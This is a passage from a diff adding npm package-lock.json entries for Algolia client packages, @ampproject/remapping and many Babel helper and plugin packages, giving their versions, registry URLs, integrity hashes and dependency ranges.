"4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/client-personalization/-/client-personalization-4.19.1.tgz", + "integrity": "sha512-8CWz4/H5FA+krm9HMw2HUQenizC/DxUtsI5oYC0Jxxyce1vsr8cb1aEiSJArQT6IzMynrERif1RVWLac1m36xw==", + "dependencies": { + "@algolia/client-common": "4.19.1", + "@algolia/requester-common": "4.19.1", + "@algolia/transporter": "4.19.1" + } + }, + "node_modules/@algolia/client-search": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/client-search/-/client-search-4.19.1.tgz", + "integrity": "sha512-mBecfMFS4N+yK/p0ZbK53vrZbL6OtWMk8YmnOv1i0LXx4pelY8TFhqKoTit3NPVPwoSNN0vdSN9dTu1xr1XOVw==", + "dependencies": { + "@algolia/client-common": "4.19.1", + "@algolia/requester-common": "4.19.1", + "@algolia/transporter": "4.19.1" + } + }, + "node_modules/@algolia/events": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@algolia/events/-/events-4.0.1.tgz", + "integrity": "sha512-FQzvOCgoFXAbf5Y6mYozw2aj5KCJoA3m4heImceldzPSMbdyS4atVjJzXKMsfX3wnZTFYwkkt8/z8UesLHlSBQ==" + }, + "node_modules/@algolia/logger-common": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/logger-common/-/logger-common-4.19.1.tgz", + "integrity": "sha512-i6pLPZW/+/YXKis8gpmSiNk1lOmYCmRI6+x6d2Qk1OdfvX051nRVdalRbEcVTpSQX6FQAoyeaui0cUfLYW5Elw==" + }, + "node_modules/@algolia/logger-console": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/logger-console/-/logger-console-4.19.1.tgz", + "integrity": "sha512-jj72k9GKb9W0c7TyC3cuZtTr0CngLBLmc8trzZlXdfvQiigpUdvTi1KoWIb2ZMcRBG7Tl8hSb81zEY3zI2RlXg==", + "dependencies": { + "@algolia/logger-common": "4.19.1" + } + }, + "node_modules/@algolia/requester-browser-xhr": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/requester-browser-xhr/-/requester-browser-xhr-4.19.1.tgz", + "integrity": "sha512-09K/+t7lptsweRTueHnSnmPqIxbHMowejAkn9XIcJMLdseS3zl8ObnS5GWea86mu3vy4+8H+ZBKkUN82Zsq/zg==", + "dependencies": { + "@algolia/requester-common": "4.19.1" + } + }, + "node_modules/@algolia/requester-common": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/requester-common/-/requester-common-4.19.1.tgz", + "integrity": "sha512-BisRkcWVxrDzF1YPhAckmi2CFYK+jdMT60q10d7z3PX+w6fPPukxHRnZwooiTUrzFe50UBmLItGizWHP5bDzVQ==" + }, + "node_modules/@algolia/requester-node-http": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/requester-node-http/-/requester-node-http-4.19.1.tgz", + "integrity": "sha512-6DK52DHviBHTG2BK/Vv2GIlEw7i+vxm7ypZW0Z7vybGCNDeWzADx+/TmxjkES2h15+FZOqVf/Ja677gePsVItA==", + "dependencies": { + "@algolia/requester-common": "4.19.1" + } + }, + "node_modules/@algolia/transporter": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/transporter/-/transporter-4.19.1.tgz", + "integrity": "sha512-nkpvPWbpuzxo1flEYqNIbGz7xhfhGOKGAZS7tzC+TELgEmi7z99qRyTfNSUlW7LZmB3ACdnqAo+9A9KFBENviQ==", + "dependencies": { + "@algolia/cache-common": "4.19.1", + "@algolia/logger-common": "4.19.1", + "@algolia/requester-common": "4.19.1" + } + }, + "node_modules/@ampproject/remapping": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.1.tgz", + "integrity": "sha512-lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg==", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.22.10.tgz", + "integrity": "sha512-/KKIMG4UEL35WmI9OlvMhurwtytjvXoFcGNrOvyG9zIzA8YmPjVtIZUf7b05+TPO7G7/GEmLHDaoCgACHl9hhA==", + "dependencies": { + "@babel/highlight": "^7.22.10", + "chalk": "^2.4.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/code-frame/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/code-frame/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/code-frame/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/@babel/code-frame/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "node_modules/@babel/code-frame/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@babel/code-frame/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/code-frame/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.22.9.tgz", + "integrity": "sha512-5UamI7xkUcJ3i9qVDS+KFDEK8/7oJ55/sJMB1Ge7IEapr7KfdfV/HErR+koZwOfd+SgtFKOKRhRakdg++DcJpQ==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.22.10.tgz", + "integrity": "sha512-fTmqbbUBAwCcre6zPzNngvsI0aNrPZe77AeqvDxWM9Nm+04RrJ3CAmGHA9f7lJQY6ZMhRztNemy4uslDxTX4Qw==", + "dependencies": { + "@ampproject/remapping": "^2.2.0", + "@babel/code-frame": "^7.22.10", + "@babel/generator": "^7.22.10", + "@babel/helper-compilation-targets": "^7.22.10", + "@babel/helper-module-transforms": "^7.22.9", + "@babel/helpers": "^7.22.10", + "@babel/parser": "^7.22.10", + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.10", + "@babel/types": "^7.22.10", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.2", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/core/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/generator": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.22.10.tgz", + "integrity": "sha512-79KIf7YiWjjdZ81JnLujDRApWtl7BxTqWD88+FFdQEIOG8LJ0etDOM7CXuIgGJa55sGOwZVwuEsaLEm0PJ5/+A==", + "dependencies": { + "@babel/types": "^7.22.10", + "@jridgewell/gen-mapping": "^0.3.2", + "@jridgewell/trace-mapping": "^0.3.17", + "jsesc": "^2.5.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-annotate-as-pure": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.22.5.tgz", + "integrity": "sha512-LvBTxu8bQSQkcyKOU+a1btnNFQ1dMAd0R6PyW3arXes06F6QLWLIrd681bxRPIXlrMGR3XYnW9JyML7dP3qgxg==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-builder-binary-assignment-operator-visitor": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.22.10.tgz", + "integrity": "sha512-Av0qubwDQxC56DoUReVDeLfMEjYYSN1nZrTUrWkXd7hpU73ymRANkbuDm3yni9npkn+RXy9nNbEJZEzXr7xrfQ==", + "dependencies": { + "@babel/types": "^7.22.10" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.22.10.tgz", + "integrity": "sha512-JMSwHD4J7SLod0idLq5PKgI+6g/hLD/iuWBq08ZX49xE14VpVEojJ5rHWptpirV2j020MvypRLAXAO50igCJ5Q==", + "dependencies": { + "@babel/compat-data": "^7.22.9", + "@babel/helper-validator-option": "^7.22.5", + "browserslist": "^4.21.9", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/helper-create-class-features-plugin": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.22.10.tgz", + "integrity": "sha512-5IBb77txKYQPpOEdUdIhBx8VrZyDCQ+H82H0+5dX1TmuscP5vJKEE3cKurjtIw/vFwzbVH48VweE78kVDBrqjA==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-member-expression-to-functions": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.9", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/helper-create-regexp-features-plugin": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.22.9.tgz", + "integrity": "sha512-+svjVa/tFwsNSG4NEy1h85+HQ5imbT92Q5/bgtS7P0GTQlP8WuFdqsiABmQouhiFGyV66oGxZFpeYHza1rNsKw==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "regexpu-core": "^5.3.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-regexp-features-plugin/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/helper-define-polyfill-provider": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.4.2.tgz", + "integrity": "sha512-k0qnnOqHn5dK9pZpfD5XXZ9SojAITdCKRn2Lp6rnDGzIbaP0rHyMPk/4wsSxVBVz4RfN0q6VpXWP2pDGIoQ7hw==", + "dependencies": { + "@babel/helper-compilation-targets": "^7.22.6", + "@babel/helper-plugin-utils": "^7.22.5", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/@babel/helper-environment-visitor": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.5.tgz", + "integrity": "sha512-XGmhECfVA/5sAt+H+xpSg0mfrHq6FzNr9Oxh7PSEBBRUb/mL7Kz3NICXb194rCqAEdxkhPT1a88teizAFyvk8Q==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-function-name": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.22.5.tgz", + "integrity": "sha512-wtHSq6jMRE3uF2otvfuD3DIvVhOsSNshQl0Qrd7qC9oQJzHvOL4qQXlQn2916+CXGywIjpGuIkoyZRRxHPiNQQ==", + "dependencies": { + "@babel/template": "^7.22.5", + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-hoist-variables": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz", + "integrity": "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-member-expression-to-functions": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.22.5.tgz", + "integrity": "sha512-aBiH1NKMG0H2cGZqspNvsaBe6wNGjbJjuLy29aU+eDZjSbbN53BaxlpB02xm9v34pLTZ1nIQPFYn2qMZoa5BQQ==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.22.5.tgz", + "integrity": "sha512-8Dl6+HD/cKifutF5qGd/8ZJi84QeAKh+CEe1sBzz8UayBBGg1dAIJrdHOcOM5b2MpzWL2yuotJTtGjETq0qjXg==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.22.9.tgz", + "integrity": "sha512-t+WA2Xn5K+rTeGtC8jCsdAH52bjggG5TKRuRrAGNM/mjIbO4GxvlLMFOEz9wXY5I2XQ60PMFsAG2WIcG82dQMQ==", + "dependencies": { + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-simple-access": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "@babel/helper-validator-identifier": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-optimise-call-expression": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.22.5.tgz", + "integrity": "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.22.5.tgz", + "integrity": "sha512-uLls06UVKgFG9QD4OeFYLEGteMIAa5kpTPcFL28yuCIIzsf6ZyKZMllKVOCZFhiZ5ptnwX4mtKdWCBE/uT4amg==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-remap-async-to-generator": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.22.9.tgz", + "integrity": "sha512-8WWC4oR4Px+tr+Fp0X3RHDVfINGpF3ad1HIbrc8A77epiR6eMMc6jsgozkzT2uDiOOdoS9cLIQ+XD2XvI2WSmQ==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-wrap-function": "^7.22.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-replace-supers": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.22.9.tgz", + "integrity": "sha512-LJIKvvpgPOPUThdYqcX6IXRuIcTkcAub0IaDRGCZH0p5GPUp7PhRU9QVgFcDDd51BaPkk77ZjqFwh6DZTAEmGg==", + "dependencies": { + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-member-expression-to-functions": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-simple-access": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.22.5.tgz", + "integrity": "sha512-n0H99E/K+Bika3++WNL17POvo4rKWZ7lZEp1Q+fStVbUi8nxPQEBOlTmCOxW/0JsS56SKKQ+ojAe2pHKJHN35w==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.22.5.tgz", + "integrity": "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-split-export-declaration": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz", + "integrity": "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.22.5.tgz", + "integrity": "sha512-mM4COjgZox8U+JcXQwPijIZLElkgEpO5rsERVDJTc2qfCDfERyob6k5WegS14SX18IIjv+XD+GrqNumY5JRCDw==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.5.tgz", + "integrity": "sha512-aJXu+6lErq8ltp+JhkJUfk1MTGyuA4v7f3pA+BJ5HLfNC6nAQ0Cpi9uOquUj8Hehg0aUiHzWQbOVJGao6ztBAQ==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.22.5.tgz", + "integrity": "sha512-R3oB6xlIVKUnxNUxbmgq7pKjxpru24zlimpE8WK47fACIlM0II/Hm1RS8IaOI7NgCr6LNS+jl5l75m20npAziw==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.22.10.tgz", + "integrity": "sha512-OnMhjWjuGYtdoO3FmsEFWvBStBAe2QOgwOLsLNDjN+aaiMD8InJk1/O3HSD8lkqTjCgg5YI34Tz15KNNA3p+nQ==", + "dependencies": { + "@babel/helper-function-name": "^7.22.5", + "@babel/template": "^7.22.5", + "@babel/types": "^7.22.10" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.22.10.tgz", + "integrity": "sha512-a41J4NW8HyZa1I1vAndrraTlPZ/eZoga2ZgS7fEr0tZJGVU4xqdE80CEm0CcNjha5EZ8fTBYLKHF0kqDUuAwQw==", + "dependencies": { + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.10", + "@babel/types": "^7.22.10" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.22.10.tgz", + "integrity": "sha512-78aUtVcT7MUscr0K5mIEnkwxPE0MaxkR5RxRwuHaQ+JuU5AmTPhY+do2mdzVTnIJJpyBglql2pehuBIWHug+WQ==", + "dependencies": { + "@babel/helper-validator-identifier": "^7.22.5", + "chalk": "^2.4.2", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/@babel/highlight/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "node_modules/@babel/highlight/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@babel/highlight/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/parser": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.22.10.tgz", + "integrity": "sha512-lNbdGsQb9ekfsnjFGhEiF4hfFqGgfOP3H3d27re3n+CGhNuTSUEQdfWk556sTLNTloczcdM5TYF2LhzmDQKyvQ==", + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.22.5.tgz", + "integrity": "sha512-NP1M5Rf+u2Gw9qfSO4ihjcTGW5zXTi36ITLd4/EoAcEhIZ0yjMqmftDNl3QC19CX7olhrjpyU454g/2W7X0jvQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.22.5.tgz", + "integrity": "sha512-31Bb65aZaUwqCbWMnZPduIZxCBngHFlzyN6Dq6KAJjtx+lx6ohKHubc61OomYi7XwVD4Ol0XCVz4h+pYFR048g==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/plugin-transform-optional-chaining": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.13.0" + } + }, + "node_modules/@babel/plugin-proposal-object-rest-spread": { + "version": "7.12.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.12.1.tgz", + "integrity": "sha512-s6SowJIjzlhx8o7lsFx5zmY4At6CTtDvgNQDdPzkBQucle58A6b/TTeEBYtyDgmcXjUTM+vE8YOGHZzzbc/ioA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.0", + "@babel/plugin-transform-parameters": "^7.12.1" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-private-property-in-object": { + "version": "7.21.0-placeholder-for-preset-env.2", + "resolved": 